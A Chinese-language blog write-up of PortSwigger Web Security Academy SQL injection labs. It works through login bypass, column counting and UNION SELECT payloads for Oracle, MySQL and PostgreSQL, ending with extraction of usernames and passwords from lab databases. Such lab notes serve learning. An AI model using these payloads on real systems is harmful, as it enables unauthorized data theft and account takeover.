Burp靶场sql注入手注

admin 2025-12-22 04:35:41 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 这篇文章详细介绍了Burp靶场中的SQL注入手注技术,包括WHERE子句注入、登录绕过、以及针对不同数据库(Oracle、MySQL、PostgreSQL)的注入方法。文章通过实际案例展示了如何识别注入点、确定列数、构造UNION查询、获取数据库版本信息、枚举表结构和提取敏感数据。文章提供了多种实用的注入payload,并解释了不同数据库系统的语法差异,是学习SQL注入攻击技术的实用教程。 综合评分: 88 文章分类: 渗透测试,漏洞分析,WEB安全,漏洞POC,实战经验


cover_image

Burp靶场 sql注入手注

原创

数字幽灵安全团队

数字幽灵安全团队

2025年12月14日 22:33 吉林

免责申明:本文内容为学习笔记分享,仅供技术学习参考,请勿用作违法用途,任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责,与作者无关!!!

Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

注入点在search功能

单引号响应500

两个单引号显示正常,大概率是sql注入

一个单引号 ' 会破坏 SQL 字符串,导致语法错误(500)

两个单引号 '' 在 SQL 中表示字符串里的一个单引号字符(不会破坏语句)

确认是否为sql注入

使用 order by  确认

说明表列数为8列

想验证 UNION 注入,可继续试

先判断 UNION 能否使用:

' UNION SELECT 1--

再逐步测试 8 列:

' UNION SELECT 1,2,3,4,5,6,7,8--

目标需要显示所有商品,即可让为真 category=Gifts%27+OR+1=1–

https://0a7000ba03e98026de86cbb000cd00de.web-security-academy.net/filter?category=Gifts%27+OR+1=1--

Lab: SQL injection vulnerability allowing login bypass

绕过登录,用户名密码

admin'or'1'='1

SQL injection attack, querying the database type and version on Oracle

也是单引号看报错,两个单引号闭合,使用order by 看几列

查看为两列

由于是Oracle数据库想验证 UNION 注入,语法为

Oracle SELECT 1,2 必须有 FROM 子句

Oracle 不允许裸 SELECT:

数据类型必须兼容(Oracle 比其他 SQL 更严格)

UNION SELECT '1','2' FROM dual
https://0ac1008503a46fc78023089500850024.web-security-academy.net/filter?category=Tech+gifts'union+select+'1','2'+FROM+dual--

构造读取版本信息

SELECT banner FROM v$version

https://0a3000cf04e426b380ad08f7002500c3.web-security-academy.net/filter?category=Tech+gifts%27union+select+banner,%272%27+FROM+v$version--

成功读取

SQL injection attack, querying the database type and version on MySQL and Microsoft

3报错500 ,故有两列

'order+by+2--+

union 注入

'union+select+1,2--+

查版本

'union+select+@@version,2--+

https://0aaf001b033bc571805a26ba006b00f1.web-security-academy.net/filter?category=Gifts%27union+select+@@version,%0C2--+

SQL injection attack, listing the database contents on non-Oracle databases

按照上述 先order by 测试列 2列

Gifts'order+by+2--+

mysql数据类型不严格,其他数据库ORacle,PostgreSQL类型限制较严格,数字型字符型严格控制

尝试是什么数据库

Oracle    SELECT banner FROM v$version
SELECT version FROM v$instance
Microsoft    SELECT @@version
PostgreSQL    SELECT version()
MySQL    SELECT @@version

测试payload发现是PostgreSQL

显示所有数据库名

SELECT datname FROM pg_database;

查看当前连接的数据库

SELECT current_database();

查看所有表

SELECT table_name FROM information_schema.tables;

查看表中列

'+union+select+'1',column_name+from+information_schema.columns+where+table_name='users_zuusfh'--+

查看数据

+union+select+username_dumpfg,password_dzlsln+from+users_zuusfh

使用administrator登陆即可


查看原文:《Burp靶场 sql注入手注》

评论:0   参与:  0